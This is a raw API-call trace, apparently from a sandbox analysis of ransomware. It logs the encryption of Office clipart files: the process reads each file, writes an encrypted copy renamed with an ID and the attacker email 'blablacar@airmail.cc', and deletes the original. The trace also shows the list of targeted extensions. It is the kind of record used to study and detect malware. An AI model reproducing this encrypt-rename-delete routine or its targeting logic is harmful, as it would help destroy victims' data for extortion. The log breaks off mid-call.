lstrlenW (lpString=".jpg") returned 4 [0206.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0206.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0206.663] lstrlenW (lpString=".doc") returned 4 [0206.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.663] lstrlenW (lpString=".docx") returned 5 [0206.663] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0206.663] lstrlenW (lpString=".pdf") returned 4 [0206.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.663] lstrlenW (lpString=".xls") returned 4 [0206.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.663] lstrlenW (lpString=".xlsx") returned 5 [0206.663] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0206.663] lstrlenW (lpString=".ppt") returned 4 [0206.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0206.664] lstrlenW (lpString=".zip") returned 4 [0206.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.664] lstrlenW (lpString=".rar") returned 4 [0206.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.664] lstrlenW (lpString=".bz2") returned 4 [0206.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.664] lstrlenW (lpString=".7z") returned 3 [0206.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0206.664] lstrlenW (lpString=".dbf") returned 4 [0206.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0206.664] lstrlenW (lpString=".1cd") returned 4 [0206.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0206.664] lstrlenW (lpString=".jpg") returned 4 [0206.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.664] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.664] lstrlenW (lpString="J0105348.WMF") returned 12 [0206.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0206.665] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=17060) returned 1 [0206.665] CloseHandle (hObject=0x3c4) returned 1 [0206.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 0x220 [0206.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0206.665] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.666] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0206.666] GetLastError () returned 0x0 [0206.666] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x42a4, lpOverlapped=0x0) returned 1 [0206.668] WriteFile (in: hFile=0x578, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x42b0, lpOverlapped=0x0) returned 1 [0206.669] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.669] WriteFile (in: hFile=0x578, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.670] SetEndOfFile (hFile=0x578) returned 1 [0206.670] CloseHandle (hObject=0x578) returned 1 [0206.670] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.670] SetEndOfFile (hFile=0x3c4) returned 1 [0206.673] CloseHandle (hObject=0x3c4) returned 1 [0206.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 1 [0206.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0206.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0206.674] lstrlenW (lpString=".doc") returned 4 [0206.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.674] lstrlenW (lpString=".docx") returned 5 [0206.674] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0206.674] lstrlenW (lpString=".pdf") returned 4 [0206.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.674] lstrlenW (lpString=".xls") returned 4 [0206.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.674] lstrlenW (lpString=".xlsx") returned 5 [0206.674] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0206.674] lstrlenW (lpString=".ppt") returned 4 [0206.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0206.674] lstrlenW (lpString=".zip") returned 4 [0206.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.674] lstrlenW (lpString=".rar") returned 4 [0206.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.674] lstrlenW (lpString=".bz2") returned 4 [0206.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.675] lstrlenW (lpString=".7z") returned 3 [0206.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0206.675] lstrlenW (lpString=".dbf") returned 4 [0206.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0206.675] lstrlenW (lpString=".1cd") returned 4 [0206.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0206.675] lstrlenW (lpString=".jpg") returned 4 [0206.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0206.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0206.675] lstrlenW (lpString=".doc") returned 4 [0206.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.675] lstrlenW (lpString=".docx") returned 5 [0206.675] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0206.675] lstrlenW (lpString=".pdf") returned 4 [0206.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.675] lstrlenW (lpString=".xls") returned 4 [0206.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.675] lstrlenW (lpString=".xlsx") returned 5 [0206.675] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0206.675] lstrlenW (lpString=".ppt") returned 4 [0206.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0206.675] lstrlenW (lpString=".zip") returned 4 [0206.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.675] lstrlenW (lpString=".rar") returned 4 [0206.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.675] lstrlenW (lpString=".bz2") returned 4 [0206.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.675] lstrlenW (lpString=".7z") returned 3 [0206.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0206.676] lstrlenW (lpString=".dbf") returned 4 [0206.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0206.676] lstrlenW (lpString=".1cd") returned 4 [0206.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0206.676] lstrlenW (lpString=".jpg") returned 4 [0206.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.676] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.676] lstrlenW (lpString="J0105360.WMF") returned 12 [0206.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0206.677] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=8860) returned 1 [0206.677] CloseHandle (hObject=0x3c4) returned 1 [0206.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 0x220 [0206.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0206.677] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.677] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0206.678] GetLastError () returned 0x0 [0206.678] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x229c, lpOverlapped=0x0) returned 1 [0206.680] WriteFile (in: hFile=0x578, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x22a0, lpOverlapped=0x0) returned 1 [0206.681] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.681] WriteFile (in: hFile=0x578, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.681] SetEndOfFile (hFile=0x578) returned 1 [0206.681] CloseHandle (hObject=0x578) returned 1 [0206.681] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.682] SetEndOfFile (hFile=0x3c4) returned 1 [0206.686] CloseHandle (hObject=0x3c4) returned 1 [0206.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 1 [0206.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0206.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0206.688] lstrlenW (lpString=".doc") returned 4 [0206.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.688] lstrlenW (lpString=".docx") returned 5 [0206.688] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0206.688] lstrlenW (lpString=".pdf") returned 4 [0206.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.688] lstrlenW (lpString=".xls") returned 4 [0206.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.688] lstrlenW (lpString=".xlsx") returned 5 [0206.688] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0206.688] lstrlenW (lpString=".ppt") returned 4 [0206.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0206.688] lstrlenW (lpString=".zip") returned 4 [0206.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.688] lstrlenW (lpString=".rar") returned 4 [0206.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.688] lstrlenW (lpString=".bz2") returned 4 [0206.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.688] lstrlenW (lpString=".7z") returned 3 [0206.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0206.688] lstrlenW (lpString=".dbf") returned 4 [0206.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0206.688] lstrlenW (lpString=".1cd") returned 4 [0206.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0206.689] lstrlenW (lpString=".jpg") returned 4 [0206.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0206.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0206.689] lstrlenW (lpString=".doc") returned 4 [0206.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.689] lstrlenW (lpString=".docx") returned 5 [0206.689] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0206.689] lstrlenW (lpString=".pdf") returned 4 [0206.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.689] lstrlenW (lpString=".xls") returned 4 [0206.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.689] lstrlenW (lpString=".xlsx") returned 5 [0206.689] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0206.689] lstrlenW (lpString=".ppt") returned 4 [0206.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0206.689] lstrlenW (lpString=".zip") returned 4 [0206.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.689] lstrlenW (lpString=".rar") returned 4 [0206.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.689] lstrlenW (lpString=".bz2") returned 4 [0206.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.689] lstrlenW (lpString=".7z") returned 3 [0206.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0206.689] lstrlenW (lpString=".dbf") returned 4 [0206.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0206.689] lstrlenW (lpString=".1cd") returned 4 [0206.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0206.690] lstrlenW (lpString=".jpg") returned 4 [0206.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.690] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.690] lstrlenW (lpString="J0105368.WMF") returned 12 [0206.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0206.691] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=12380) returned 1 [0206.691] CloseHandle (hObject=0x3c4) returned 1 [0206.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 0x220 [0206.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0206.691] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.691] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0206.692] GetLastError () returned 0x0 [0206.692] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x305c, lpOverlapped=0x0) returned 1 [0206.949] WriteFile (in: hFile=0x578, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x3060, lpOverlapped=0x0) returned 1 [0206.950] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.950] WriteFile (in: hFile=0x578, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.950] SetEndOfFile (hFile=0x578) returned 1 [0206.951] CloseHandle (hObject=0x578) returned 1 [0206.951] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.951] SetEndOfFile (hFile=0x3c4) returned 1 [0206.955] CloseHandle (hObject=0x3c4) returned 1 [0206.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 1 [0206.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0206.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0206.956] lstrlenW (lpString=".doc") returned 4 [0206.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.956] lstrlenW (lpString=".docx") returned 5 [0206.956] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0206.956] lstrlenW (lpString=".pdf") returned 4 [0206.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.956] lstrlenW (lpString=".xls") returned 4 [0206.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.956] lstrlenW (lpString=".xlsx") returned 5 [0206.956] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0206.956] lstrlenW (lpString=".ppt") returned 4 [0206.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0206.957] lstrlenW (lpString=".zip") returned 4 [0206.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.957] lstrlenW (lpString=".rar") returned 4 [0206.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.957] lstrlenW (lpString=".bz2") returned 4 [0206.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.957] lstrlenW (lpString=".7z") returned 3 [0206.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0206.957] lstrlenW (lpString=".dbf") returned 4 [0206.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0206.957] lstrlenW (lpString=".1cd") returned 4 [0206.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0206.957] lstrlenW (lpString=".jpg") returned 4 [0206.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0206.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0206.957] lstrlenW (lpString=".doc") returned 4 [0206.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.957] lstrlenW (lpString=".docx") returned 5 [0206.957] lstrcmpiW (lpString1=".docx", 